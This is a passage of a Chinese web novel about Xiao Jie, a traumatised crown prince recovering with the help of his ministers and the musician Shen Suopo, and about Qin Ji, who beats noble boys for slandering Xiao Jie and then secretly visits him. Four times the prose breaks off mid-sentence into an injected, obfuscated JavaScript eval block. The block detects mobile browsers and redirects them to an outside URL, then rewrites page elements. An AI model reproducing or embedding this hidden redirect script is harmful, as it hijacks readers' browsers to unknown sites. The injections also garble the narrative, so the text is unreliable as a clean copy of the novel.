萧玠顺着夏秋声的手臂,看到李寒的脸。 他手指动了一下。 夏秋声轻轻吸口气,沈娑婆也没有催促,他们一个盯着萧玠的脸一个盯着萧玠的手,等候圣旨一样等候他下一个动作。 终于,那只停滞空中的手伸出,将茶盏接过来。 萧玠看着盏子,像不明白自己为什么接在手里。这么过了一会,他把盏又递给夏秋声。 夏秋声呼吸颤抖,接过吃了一口。 他合上茶盏,道:“托付殿下后,文正公便要离去,这时候殿下叫住了他。殿下说,我代天子监国……” ——罢免大相为一日白身…… ——只此一日,请大相去做自己想做的事。 萧玠喃喃道:“勿以为念,早去早回。” 这一瞬,晨晖收束,残照铺就。萧玠抬头,在一天残阳的血泊前,看到李寒。 李寒从他面前站住——以他现在的个头,李寒已经不需要蹲下同他讲话了。李寒注视他的双眼,含着笑,然后,向他张开怀抱。 他魂牵梦萦的、阔别以久的,十年之前,最后的怀抱。 他脸埋在李寒颈窝,深深吸气,还是能闻到一股皂角的清香。他感觉李寒双手抱住他的后背,跟抱五岁的他一样。 萧玠轻轻叫:“老师。” “我等你的。” 寂静里,萧玠如沐金瀑,他抱着双臂,像借手掌拥抱另一个人。夏秋声看到,他颊畔垂下一条光带,晨晖之中,闪耀五色光芒。 *** 那日之后,夏秋声的观望态度有所打破。一日之后,他应允沈娑婆的第二个建议,陪同萧玠来到承天门前。 迈出这一步实在是离手的赌注,夏秋声看着萧玠幂篱下的脸,模糊得令人心惊。这时,沈娑婆临行前的声音在耳边响起: “文正公之所以成为殿下心头痼疾,实因殿下对他的死亡无法接受。而让他接受的办法,就是理解,再到和解。 “在殿下心里,他不仅是被文正公抛弃的学生,还是害死文正公的祸首。那是他五岁的认知,但他五岁那年所受的创伤太大,让他无法用十六岁的思想去接受这件事。所以我请相公配合,让现在的他尽可能身临其境,这样才能最大程度调动他现在的感知和认识,重新理解这件事。他要慢慢理解文正公不得不去的原因,理解那不是抛弃而是托付……理解那份虽然离去,但永不逝去的爱。 “今天我请相公带他来承天门,重新走一遍文正公死前走的路,是想要殿下破除恐惧。这么多年,陛下严禁在殿下面前提及文正公之死,更别说死状。但殿下真的不会想吗?而在陛下圣意之下,他能了解到的是什么?要么是搪塞之语,要么是近乎仙话的传说。但文正公的人头,他是亲眼见到的,那血淋淋的真相他亲手触摸过。所以在他脑中,会对那场景进行无限可怖的构想。而樊百家的描述切中了这一点,他才会当场失控。 “相公,能逼疯殿下的不是真相,而是想象。无穷无尽、炼狱般的想象。能打破虚构的痛苦的,唯有真实的痛苦。真实的痛苦可以弥合,而虚构的痛苦如同轮回环环相生,非死不得解脱,至死不得解脱。 “我们要做的是告诉他,那痛苦是真的。让他体察,同时让他知道,死亡对逝者来说未必是痛苦,他是抱持着欣然甚至向往走向死亡。这样,死亡就成为一种新的圆满。 “如得解脱,唯有涅槃。” 夏秋声虚扶着萧玠的手臂,指向城门西侧,说:“九月初十那天,以王伦为首的世族诸公打碎法碑,在这里搭建高台,大肆抹黑新法和裴玉清。文正公登台辩论,宣布新法生效。那天起,贱籍制度彻底废除,贱民摆脱了世代为奴的命运,其子其孙比同士农工商,可以通婚、分地,甚至科举入仕。” 夏秋声抬起眼睛,似乎仍能看到当日光景,“就在这里,文正公怒批诸公,正名裴玉清,将新法所存唯一书稿散布人群,言辞慷慨,振聋发聩——” “书稿。”萧玠喃喃。 “是,如同天书施降。” 萧玠隔着幂篱,冲那方向望了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧玠双手从地上拢了拢,依旧两手空空。他戴着幂篱半跪在地,夏秋声无法看清他的神色,也不敢催逼。好久,萧玠才开口,说:“他死了。” “是。” “死人……没有魂魄吗?” “……殿下,魂魄精气,只是宗教之说。” “那他不会来见我。”萧玠说,“也不会再想我。” 夏秋声无言以对。 萧玠两手撑住膝盖,慢慢从地上爬起来,继续往前走。夏秋声怕他受到刺激,也不敢轻易碰他,便紧紧相随。 拐进扶桑巷时,萧玠脚步一顿。 早已夷为平地的李寒的旧址,居然建起新的房屋。 房屋形状,和从前并无二致。 他飞快冲上前去,双手推门时发现门竟没有锁。他大步流星地迈进院子,环视这一砖一瓦、一阶一石。庭中本当被火焚为焦土之处,已有树苗扎根而生。 萧玠打起幂篱,快步冲往室内。 室内,有一张一模一样的竹木书架,架子被填了一半。萧玠取下一本翻看,一瞬间,纸页剧烈颤抖起来。 一手飞白。 “这里本是青公的宅院,在元和年间赠给文正公居住。文正公并无子息,他殁后,便由青公的外甥冠军大将军郑素收回土地。搁置了这些年,终于开始翻建。里头的东西,也是将军府布置的。” 夏秋声走到他身后,“殿下,文正公虽已作古,但一直有人记着他。你不必这样为难自个了。” 他没有听到萧玠回复,过了好一会,方见萧玠将书合在胸口,头抵在书架上,脊背颤动起来。 55. 第 55 章 有沈娑婆作陪,萧玠情况逐渐稳定,但仍有起伏。萧恒刚下朝,便得了太子又受刺激的消息,快马加鞭直抵行宫。 暖阁里点了安神香,萧玠睡得仍不安稳。脸颊通红,嘴唇却发白,梦中依旧眉头紧皱,顶着一脑门冷汗。 萧恒轻轻拍打他一会,便同沈娑婆去外堂说话:“这几日不是见好么,今日怎么这样厉害?” “殿下今日有些精神,去园中听乐者演戏,演的是《牡丹亭》,当场便有些发作。” “《牡丹亭》?” “是,正演到《幽媾》一折。” 萧恒呼吸一紧,听沈娑婆继续道:“殿下如今……还是十分抵触与人触碰。” 沈娑婆顿了顿,“玉陷园之事……臣也有所耳闻。虞郎虽也是无辜受害,药物作用下也论不上强迫,但殿下受的创伤不小。殿下有此遭遇,自然恐惧与人亲近,以后面对男女之事……只怕会有障碍。” 萧恒默了一会,道:“我省得。”气息平复后,又问:“怎么能叫他不这么害怕?” 沈娑婆叹道:“只能慢慢来。需要有一个人,殿下能给出足够的信任。如此一来,面对他的触碰,殿下才不会逃避。” 萧恒忙问:“我不行?” 沈娑婆摇头,“陛下是殿下的父亲,在殿下心里,您不算他‘自己’以为的‘旁人’。陛下的触碰殿下一直没有抵触,对这种情况不会有太大效用。” 秋童守在一旁,迟疑道:“陛下,要不要……把游骑将军召回来?” 萧恒沉默许久,还是摇了摇头。 郑绥所治不仅是军事,更是机要。前一段准他回京,因为很多事尚未正式开启。如今章程正在关头,现在调他回来,没人能补上空缺。 他透过垂帘望向阁内,问:“除了这件事,太子近日还有什么症状?” 沈娑婆道:“幻觉缓解了许多,每夜服用安神汤药,也没再梦游过。但若无人陪同,殿下还是出不了屋子。” “无法交际,无法出行,是殿下现在最大的问题。”沈娑婆叹气,“殿下有很强的求生欲,但没有很强的‘向好’的欲望。所以殿下能够克服轻生的念头,却很难让自己真正好转起来。可能他一直以来,就不认为自己有‘好转’的能力。不认为自己是一个‘好人’。” 萧恒仍一动不动地隔帘看着萧玠,沉声说:“需要一剂猛药。” “是,要让他产生强烈到跨过一切恐惧的欲望。那是最原始的生的力量。” “欲望。” “请问陛下,殿下这十六年里,最想要什么,最求不得的,是什么?” 萧恒没有作答。 他站在垂帘后,静静注目萧玠的睡容。他的目光落到萧玠握紧右腕的手上,绑缚铜钱的红线从他指间溜出一个头。 得放手时须放手。 萧恒从晌午站到黄昏,再到夜色深沉。 直至入夜,萧玠仍未苏醒。这是吸入大量安神香的缘故。一会尉迟松脚步轻捷地进入,由萧恒引向外间,问:“招了吗?” 自萧玠要入行宫,萧恒便加大对行宫的清查力度,清扫出一部分世族的眼线。加之萧玠中毒的疑案一直调查,近日也有了新的进展——萧恒替萧玠收拾箱笼时,找到了一本《明王经》。他对毒物十分敏感,加上郑挽青提点,更对几类药物十分留意,当即察觉不对,命龙武卫追查此事。 据报,这是教坊乐者忆奴送给萧玠的礼物。 萧恒立即想起,当时芙蓉汤池案,就是她不偏不倚地撞了进去。 如今萧玠情况不容乐观,萧恒不敢轻易更改他的行程,便将涉案人员全部控入禁中,由禁卫审理。 尉迟松正是来回报案情,道:“招了,忆奴是王云楠豢养的细作。王犯因恐陛下追查贪贿案,便设计毒害殿下,让陛下自顾不暇。他寻了一种名叫‘锦花枯’的毒油,命忆奴掺入墨中,写好经书奉送殿下。忆奴说她没有谋害储君的心,只是不知剂量,也未料殿下身体孱弱如此,一直深悔此事。” 萧恒道:“料理了吧。” “是,”尉迟松问,“殿下那边……” “谁敢以此惊扰太子,以大不敬论处。”萧恒道,“让教坊上下管好舌头。” 尉迟松领旨退下。 萧恒重新坐回椅中,又是一阵痛心。他惦着萧玠夜间吃药,打算叫他起床。正要打帘去内间,秋童已赶到他身边,脚步匆匆,有些失态。 萧恒见他怀中抱着东西,问:“拿的什么?” 秋童道:“大公给殿下的信。” 自从萧玠病愈后,秦灼每月都有书信送来。这月初已送过一次,第二封不过半月便加急赶到,想必京中之事,他已有耳闻。 秋童将信件放到萧玠枕边,又从袖中抽出一封,双手奉到萧恒面前。 “这一封……是给您的。” 秋童发觉,萧恒身体瞬间僵硬,连神情都是。他盯着那只空白的、仅有火漆封缄的信封好一会,才抬手接在掌中。 他手指一动,准备撕信,信封刚一想就顿住,问:“有没有刀?” 秋童四下瞧了瞧,说:“您吩咐的,殿下跟前不许见利器。”又道:“要么咱们回去拆看。” 萧恒静了会,还是动手拆信。先用指甲来剔剥火漆,等漆印脱了封口,才开始撕信。他估计是怕撕到信纸,先靠桌案将信封朝下打了打。 他手部很稳,动作缓慢,撕口也整齐,这么看来很沉得住气,但秋童听他的呼吸,却越来越粗,也越来越急。 萧恒费了九牛二虎之力才撕开信封,手指从衣服上捻了一把,把掌心的汗渍和火漆印擦干,这才将信纸抽出来。 足有两大页,萧恒落下第一眼时秋童听到他鼻中出了股气,像笑意。再看他脸上,表情柔和,嘴角却下抿,像个了然的苦笑。 一时间,阁中只有纸页翻动的声音。等萧恒将信合起来,秋童方奓着胆子、小心翼翼问:“大公……有什么指示?” 萧恒将信合进衣襟,眼皮也垂下来,说:“骂我。” *** “你给梁太子去信就罢了,你给萧重光写信?”秦温吉只觉脑仁跳着疼,“你怎么想的?” 秦灼连连冷笑:“怎么想的——我问问他怎么当爹的,怎么还没阉了姓虞的小子,好好的儿子怎么给我看成这样!” 他一掌拍在案上,咬牙切齿:“当年我本就要带阿玠走,他使计策把孩子留下。好,留下就给我好好待他,我走了才几年,阿玠出了多少事?孩子养不了就给我送回来,嘉国公世子……他不做,我做。” 秦温吉眉头紧蹙,“上个月梁皇帝昭告天下,册太子生母秦双娘为正一品夫人。人家有爹有娘,用得着外人给他出气?现在长安城一团乱麻,都有人污水泼到南秦头上来了,你动手,是嫌不够板上钉钉证据确凿吗?” “既然遭了污水,就不能枉担骂名。”秦灼捻动那枚青石虎头,“人食五谷,总要生病。” 秦温吉嗤笑:“虞闻道未必会病,倒是你,真该请郑翁来瞧瞧。至于萧玠——历代王公贵族闹出了多少丑事,□□的□□的春宫图都传出去的,还不都好好活着?” “我、他、妈、比、你、要、知、道。” 陈子元见秦灼脸色血色褪去,心中砰地一响,忙伸手一边按住一个:“别吵了别吵了,这么大事你俩吵什么呢!” 他又偷偷拐秦温吉一胳膊,“你少说两句。孩子这样,还看不见摸不着的,能不着急吗。” 秦温吉胸口起伏,盯着秦灼,到底没再出口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566398|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一静,秦灼的力气也被争吵声抽干。他颓然坐在椅中,手肘撑着膝盖,双掌盖在脸上,哑声道:“温吉,他和我不一样,他才十六岁……那么点的小孩子,他怎么受得了?再这么下去,我这辈子……还能再见他一眼吗?” 秦灼说:“我已经四十岁了。” 秦温吉默了。 片刻后,她再度开口,声音漠然:“相交泛泛,各不相干——就算我不拦,秦灼,你能为他做什么?” 秦灼双手抵在额上,一下重似一下地喘气。 窗上闪过一道影子,迅速地,没有任何人察觉。 *** 秦寄性格冷僻,少与他姑表兄弟外的同龄人交道。他已经开蒙两年,伴读之事却拖到如今,近日由秦灼做主,选了几个贵族子弟进宫待选。 秦华阳从园子里遇着他,也劝道:“你以后当家,总要有人在朝中扶持。” 秦寄说:“我有你。” 秦华阳笑道:“是,臣为殿下鞍前马后绝无二话,但朝中这么一大摊子,你以后还全都指望我了?殿下,你就这么一个大表哥,省着点使吧。” 他见秦寄一脸不耐,拍拍他肩膀,“你以后御下,若有自小的情谊在,君臣之义也更牢靠。” 秦寄皱眉,“自小的情谊?” 秦华阳点点头,“你瞧,容城侯褚玉照可是舅舅的伴读,为了襄助舅舅背井离乡十余年。舅舅自己都说,当年若无褚玉照帮扶,不一定有如今。” 秦寄踢了踢脚下石子,“他阿耶褚山青还是祖父的伴读,又怎么样?助纣为虐眼睛不眨一下。” “阿寄……” 秦华阳刚要开口,却被秦寄嘘声打断。 这时节木芙蓉开得好,枝浓叶茂,将两个小子的身影完全遮住。秦华阳听到不远处宫池边响起投石打水漂的声音,还有几个男孩谈笑讲话声: “进宫这样久,别说殿下,连白虎台都没登过一次。不要咱们就早开金口,我阿耶刚从西边弄来匹好马,我还没骑过呢!” “说好马,你能比得过太子?人家阿娘可是西琼的女君,西琼最不缺的就是婊子一样的野马——” “和野马一样的婊子!” “虽说琼君是咱们的公夫人,但一年正经来不了一次。也是,人家身边有配做鸾凤的兄弟,故土难离,抛夫弃子也是常事。” 一阵笑声响起,穿过水波和枝叶灌进耳中。秦华阳心头火起,正要出口呵斥,手臂却被按住。 秦寄眼睛透过芙蓉木缝隙盯着池边,面无表情。 那几个少年无知无觉,仍大声交谈: “哎,你有没有听说萧家那桩事?” “谁没听过,那才是聋子!梁皇帝捧在手心的独子叫人开了苞,真是倒数百年都没听过的奇闻。中原正统,泱泱大国,也不过如此!” “听说卫队闯进去的时候,那俩人还没完事,梁太子更别提,叫人搞到神智都昏了。之前都夸他君子来公子去的仪容,原来君子公子太子,到床上都还不如婊子!啧,也不知道他那一把病骨头,要在床上躺……” 他突然舌头断掉一截似的戛然收声,因为伴随啪地一声响,一支利箭已经刺破树枝树叶冲他眉心射来。这少年浑身发软,比他双腿瘫软还要快,飞箭已经擦着他的脸颊嗖然射过,嗤地射在池旁石缝间。 他勃然欲怒,却在下一刻面如死灰,扑通栽在地上。 众人接连跪倒,哆哆嗦嗦叫道:“殿下千岁,丹灵侯金安!” 秦寄已经走出木丛,一把木弓握在手中。秦华阳手掌按在他肩上,露出警示的眼色。 秦寄没有立刻上前。 他把弓扔掉,把腕上戴的铜钱摘下,抛给秦华阳接着,活动了活动肩膀,说:“可以拉架,等快打死。” 56. 第 56 章 但等秦华阳掐着时间去拉架,秦寄依然没有停手的意思。 他是秦太子,贵族子弟再尊贵也没有胆子同他动手。更何况,就算动手,只怕也不是对手。 眼看秦寄一脚要跺到那男孩胯卝间,秦华阳忙冲上去将他拉开,“你要是废了他,舅舅得把你抽个半死!你还嫌他不够闹心吗!” 他们这边动静闹得太大,宫中巡逻卫队已经闻声赶来。秦华阳仗着个头也仗着秦寄不和他动手,将他右手往背后一拧,喝道:“原委我替你说,你先去我家找我阿耶,事了了再回来!快去!” 秦寄鼻中喷出几股热气,放松了身体。秦华阳也就放开他胳膊,这时候才发现秦寄右拳已经鲜血淋漓。 他怒极之下,有几拳失了准头,叫那男孩闪避过去,打在岸边碎石上。不过秦寄没有分毫吃痛之意,他脸孔依旧冰冷,因为打斗而生的红意像两团冰冻的火焰。 他握了握秦华阳的胳膊,说:“哥,你还想这些人扶持我吗?” 接下来,秦寄没有动弹,站在一地狼藉和鼻青脸肿的世家子之间,等待他父亲传召的旨意。这段时间,他把手擦干净,将那串铜钱紧紧绑回手腕。 *** 秦华阳登上光明台时,先于秦灼的脸看见他按在额角的手,也就知道他又开始犯头痛。 这是在秦寄出生后落下的毛病,之一。 秦华阳见秦寄拉着一张死人脸,知道指望他不上,先上前附到秦灼耳边说了几句。 秦灼盯着秦寄,脸色缤纷变化,等秦华阳退步后,他瞧了瞧那几个断胳膊折手的贵族子弟,对陈子元说:“你送他们回去,里头的由头,亲口说给他们老子听。” 接着,他拿手指了指秦寄,“你。” 秦寄往前跨了一步,撩袍跪倒。 秦灼盯着他,“为什么私自动手?” 秦寄冷声道:“他们污言秽语,有玷宫闱。” “我是说,你为什么私自处置,不报给我。”秦灼厉声道,“国有国法,宫有宫规,你书读到狗肚子里去了!” “就是因为宫有宫规。”秦寄抬头看他,“阿耶,背后嚼一个梁太子的舌根,有违哪条规矩?你会给他们一顿板子,像我今天这样打他们半死吗?” 秦灼怒极反笑:“褚氏、苏氏、裴氏,你一顿拳头把大贵族得罪个遍。不得了,你老子干不了的事,你两只手拢不过来的年纪干到了底。太子殿下,你太不得了了!” 秦寄冷声道:“我用他们才是贵族,我不用,不过一群丧家狗。今天都敢反咬到手上,我就是打死他们,也出不了情理之外去。” 秦寄这张嘴秦华阳尤其知道,好的时候就别别扭扭,闹起来简直一张吐不出象牙的狗嘴。果然,他话还没落,秦灼就霍地站起来,抓起案上的马鞭,边往下走,边笑得咬牙切齿:“好,很好!太子殿下,你好大的威风!你是我生的,我就算打死你,也出不了你这个情理!” 秦寄直视他的眼睛,“你说过,我是阿娘生的。” 秦灼握着马鞭的手指一抖。 秦华阳心叫不好,猛朝秦寄使眼色,秦寄却不管不顾,梗着脖子逼问:“我到底是谁生的,我真的有娘吗?阿耶,我的爹到底是谁,我只有你一个爹吗?” 秦灼双唇哆嗦起来,指着他的马鞭都在颤抖。秦华阳扑通跪倒,抱住他双腿叫道:“舅舅,你千万别同小孩子置气!阿寄一向听话,今日是那些混账说得太不堪,他下手也有数,没有要人性命啊舅舅!他是心疼萧玠,他心疼你啊!” 他最后一句话一出,秦灼像浑身麻筋一拧,整个身子使不上半点力气。他蹲下来盯着秦寄,在如此逼近的距离,秦寄五官的细节在他眼前无限放大,模糊间,有些像另一个孩子的脸。 秦灼把马鞭掼到地上,扶着膝盖站起来,说:“滚回去面壁思过,这个月别想动你的弓箭。华阳,看着他把手包了。” 秦华阳赶忙领命,连拉带拽地把秦寄拖走。他们一走,秦灼彻底软在座椅里,大口喘着粗气。直到太阳西移,陈子元赶回来复命,秦灼才稳住情绪问:“都送回去了。” “送回去了,冒犯少公,不问他们的罪就是开恩。这些小子窝囊,大人总不能跟着犯浑,明日要进宫给你们爷们谢罪。”陈子元看看他脸色,“你的意思我也传了,再非议梁太子,小心满门的脑袋。” 秦灼冷笑一声。 陈子元叹口气,也从旁边坐下,“哥,我就问你,你要是在当场听他们这么说萧玠……你忍得下去?” 秦灼默然片刻,说:“我这个年纪,不怕他们怨望。阿寄不成。” “阿寄凶性大,脾气也冷,等他当政,我看也不是会圆融处事的。以后若有个万一,满朝都是他树的敌,谁帮他,谁扶他?我退一步讲,如果今天议论的是华阳,他把人打死了我不说什么,因为非议王亲是重罪。但议论阿玠……他打不着。” 陈子元也沉默一会,说:“阿寄是不是猜到了?” 秦灼不吭声。 陈子元想劝,也不知如何劝起,叹道:“不过我没想到,他对萧玠这么上心。” 他将秦灼扶起来,说:“打了几个没教养的东西,还真跟自己儿子动气?差不多得了。臣今晚在家里炖笋锅,还请大王赏脸,带着殿下尝口新鲜。你儿子上回要吃桂花捶的米糕,院子里桂花开了头一茬他姑就全叫人薅了。不许不来啊,白瞎我一树好花。” 不过当晚陈子元等来的不是他大舅子的人,而是要他立即进宫的旨意。他赶到白虎台时,宫人跪了一殿。秦灼坐在桌边,脸色冰冷。 陈子元四下瞧了瞧,“阿寄呢?” 秦灼敲敲桌面,陈子元看去,见是一张字条。上书十六大字: ——出去杀人,杀完即回。安好勿念,静候佳音。 *** 秦灼一封书信叫萧玠情况稳定了不少。等他精神见好,便要再去园子看《牡丹亭》。 沈娑婆有些了然,“上次那折《幽媾》,是殿下自己想要看的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566399|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧玠窝在椅子里,低着脸,“不是你想的那样,我没有那么……” “淫卝荡”两个字到底脱于他的教养,梗在喉间,无论如何也吐不出。 沈娑婆叹口气,从他面前蹲下,说:“殿下,《牡丹亭》可是前朝宫宴上都唱过的,是正正经经的好戏。它能光天化日地演,殿下就能光明正大地看。” 他见萧玠不出声,将声音放得更缓,“臣知道,殿下想看它,是想解开对风月之事的心结。但一切都要徐徐图之。” 萧玠紧紧抓着扶手,哑声说:“不行,沈郎,我要快点好起来。我得和之前一样……我得比之前还要好。好起来……我才能见到他,我才能去找他。” 沈娑婆试图安抚他:“你很害怕。” 萧玠道:“不面对它,我永远会害怕。” 沈娑婆仍保持蹲在他面前的姿势,抬头望着他的眼睛,问:“殿下,你现在感觉男女之事会伤害你,对吗?” 萧玠身体轻轻抖了一下。他把脸埋在手掌里,一下重一下轻地喘气,“我知道它不是,但我……” 他听到沈娑婆离开,不一会又回来,接着,萧玠听到了琵琶拨动声。 是《凤求凰》。 这首琴曲由琵琶拨来,少了几分缱绻之意,却平添不少哀诉之感。 萧玠抬起脸,先看到他快速拢捻的手指。好漂亮的手法,在教坊老人里也是少见。这只手和这把琵琶,曾经把自己在城墙上的死亡边缘拉回人间。 他现在也在这么做。 萧玠轻轻闭上眼睛。 一曲毕,沈娑婆抚平弦声,说:“殿下知道,这是相如琴挑文君之曲。” “是。” “殿下听来,感觉怎么样?” “很柔和,很向往,很……好。”萧玠说,“像爱。” “是,爱。情卝色只是爱的一部分,情卝色的冲动是想要爱这个人的冲动,爱他爱到不知道怎样才好,只能把自己献出去,完完全全地袒露给另一个人。这时候的情卝色只是风月的皮相,是爱的外化。骨肉之合,也是肌肤之亲。” 沈娑婆观察他的表情,轻轻说:“但爱的起初,不会这样过度。所有东西都是积少成多,爱也一样,爱的冲动也一样。爱情的重量如同一根鸿毛时,爱的冲动,仅仅是触碰。” 萧玠喃喃:“触碰。” “对,人和人之间的触碰。殿下想跨过这道坎,我们可以先从触碰开始。” 萧玠没说好,也没说不好。 沈娑婆放下琵琶,再次从他面前蹲下,把自己安置在一个足够下位的位置。他轻声说:“殿下,我现在要握你的手。我不会伤害你,我只是握你的手。” 他手指触到萧玠手背时,萧玠还是闪躲一下。 他整个人缩到椅子里,头抵在椅背上,连声说:“我……我不行,沈郎,我还是不行。” 沈娑婆双手耷在膝盖上,思索了一会,快步出门去。等再回来,手上多了一条麻绳。 57. 第 57 章 沈娑婆搬了把椅子放在萧玠面前,坐下之后,先用绳子把自己双脚和椅子腿捆在一块。 萧玠抬头,“你干什么?” 沈娑婆又捡起一截绳子,绕过自己两腋,把身体绑在椅背上,只露出两条手臂。他冲萧玠张开手心,“这样你不用害怕我了,我不可能伤害到你。殿下,现在你可以握我的手。不要着急,只握我的手。” 萧玠嘴唇颤抖着,握住那只手。 沈娑婆没有动,感觉到他手指从僵硬,到缓慢移动。这么过了一会,沈娑婆问:“殿下,你感觉到什么?” “你的手……很大,手指很长,有很厚的茧子。” “是,那是臣弹琵琶磨的茧子。和殿下在同样的位置。” “你的茧要硬一些。” “臣是干这营生的。”沈娑婆笑了笑。 萧玠默了一会,手指擦过他手腕时一顿,“……还有疤。” 沈娑婆没讲话。 “……是何仙丘吗?” “是臣自己。”沈娑婆笑道,“臣那时候,要严重得多。” 他手心冰凉,萧玠竟觉比自己还要冷一些。他抬头时,正对上沈娑婆凝视的眼睛。 他认真道:“殿下,我现在要反握住你。如果还是害怕,就挣脱我。” 萧玠点点头,深深呼吸几下,看沈娑婆手指收拢,将自己手掌轻轻捏住。 他胸中一颤,连带身体都随之一弹,但手臂力气压紧,遏制自己没有将手掌抽开。 沈娑婆问:“还好吗?” 萧玠点点头,看着两人这样手掌交握,不知道为什么,突然落下眼泪。 *** 执手不是一个太过逾矩的举动,但它很亲密,亲密会带来一定的安全感。牵手时,他会问每一个与沈娑婆手部细节相关的问题,渐渐,萧玠开始同他交谈音乐,一段时间后,二人甚至能合奏曲子。 这时候,所有人都认为萧玠恢复的效果卓著,沈娑婆却指出,萧玠的状态达到停滞期。 他只能在安全范围内交际,对象限定在皇帝、夏秋声和自己三人之内;只能在安全领域里活动,他至今不能独自走出房门。 对此,萧恒并不放在心上。萧玠现在的状态就是老天的恩赐,只要萧玠不做出任何伤害自己的举动,他完全不介意有一个足不出户的儿子。 但老天的意愿并非如此。 一个插曲发生时,所有人都以为是一件小事。 萧玠每日的汤药仍从甘露殿煎好,由秋童亲自送来。这一段萧玠夜间胃口不好,药吃了一半便要作呕,秋童无法,只得先哄他睡下。 半梦半醒间,萧玠隐约听到秋童和人小声交谈,似乎是尉迟松的声音: “今日金吾卫来报,有人持东宫玉符入京。不知是否得了殿下的旨意,这不,来行宫问问。” “殿下的玉符?没听说给过旁人……哦,夏天时王云楠越狱,殿下倒把玉符给了温吉政君。只是政君刚返程不久,哪会擅自入京?等殿下吃完药,我回去问问陛下……” 那声音时近时远,萧玠听不分明,合眼睡去。再睁眼时夜色已深,榻边正坐着个人。 不是秋童。 是那个本该在千里之外的,自称秦华阳的男孩。 他正端起萧玠吃了一半的药碗,举起嗅了嗅,鼻梁耸起几条浅浅的皱痕。月光森冷,照得他宛如霜叶一枝。他放下碗时,腕上几枚铜钱闪烁光芒,如同射出几只短小青箭。他显然察觉萧玠苏醒,转过了头。 萧玠有些愣然。 他还没在梦中——或者说幻觉中见过秦华阳。 病情又加重了吗? 萧玠盯着秦华阳的脸,陈述道:“你还没有来过。” 秦华阳驴头不对马嘴:“来杀人。” 又补充道:“我不杀你。” 他见萧玠目含警惕,只好说:“也不杀你爹,仅此一次。” 萧玠问:“你要杀谁?” 秦华阳不答。 萧玠又问:“你杀了吗?” 秦华阳不耐,“你好罗唣。” 萧玠不再说话。 他低头看自己的手指,愣愣地,分不清是梦是幻。坐了一会,抬手去拿案上的药。 秦华阳盯着他行动,皱起眉头,“药不能冷吃,梁皇帝没告诉过你?” 夏苗见到的秦华阳是冰冷的,甚至有些锐利的。梦里怎么多出这些话? 萧玠咕哝回去:“你好罗唣。” 他吞完药汁,放回空碗,打定放置这凭空而生的幻影。重新脱鞋上榻,拉起被子就要再睡。 这时候,一只手伸出来,捏住他的手。 萧玠以为自己要闪躲,但是没有。除了萧恒和沈娑婆,他这一段还是无法接受任何人的触碰。而现在,他有些出离地任那只手握住自己,一动不动。 秦华阳仍从床边坐着,说:“我是真的。” 是真的。这热的手、热的气、热的皮肉和皮肉下热的血流。 萧玠被烫得浑身一抖,为这炽热的真实。 他像认识沈娑婆的手一样,通过手指来认识这只手。 这是一只男孩的手,比他的手要小一些。萧玠捏到他细细的指骨前,先摸到手心和指缝间的老茧。这样厚实的茧层让他联想的不是一个十一岁或者八岁的男孩子,而是萧恒。他像摸一块从自己身上剜掉的肉一样,摸索另一个独立的人。 这时候,秦华阳问:“你最常见到的是谁?” 萧玠说:“月亮。” 秦华阳抬头,窗中清辉洒落,他们如沐银河。 萧玠说:“她很少像今天这么温和。” 秦华阳没说话,手放在萧玠膝盖上,由他捏着自己一截小指。他没有问萧玠你还好吗。他看得出萧玠很不好。所以他问:“你想睡觉吗?” 萧玠说:“会做噩梦。” 秦华阳看着他,“不会。” 萧玠看他低身,双手解开靴上的搭扣,将鞋脱下来。做完这个,他双手扶着膝盖看萧玠。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566400|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么对视一会,萧玠往榻里挪出一个位置,秦华阳也就挨在他身边,胳膊贴胳膊地躺下。 萧玠以为他碰到自己的一瞬会头皮发麻,但是没有。谁会害怕左手握住右手呢?谁会抗拒自己的伤口长出新肉呢?那样奇异的感觉,像自己的骨贴着骨、肉挨着肉。他们躺在一块,像被脐带联结一样。 秦华阳抬手盖在他眼睛上,说:“睡觉。” 这是句充满魔力的命令,一经出口,萧玠的眼皮便如蜻蜓露水沉重的翅膀,越来越低,越来越低。 萧玠没有做梦。 这的确是个好觉。 他再醒来,夜色已久深深。秦华阳坐在床边,像场景倒带一样地扳上搭扣,把靴子穿上。 秦华阳没有回头,却已经开口:“这种穴谷,最好刚炖出来立马就喝。” 萧玠眉头微皱,没听明白。 秦华阳深深看他一眼,没再多说,穿好靴子从榻边跳起。在他要迈步离开时,萧玠在身后叫了一声: “阿寄。” 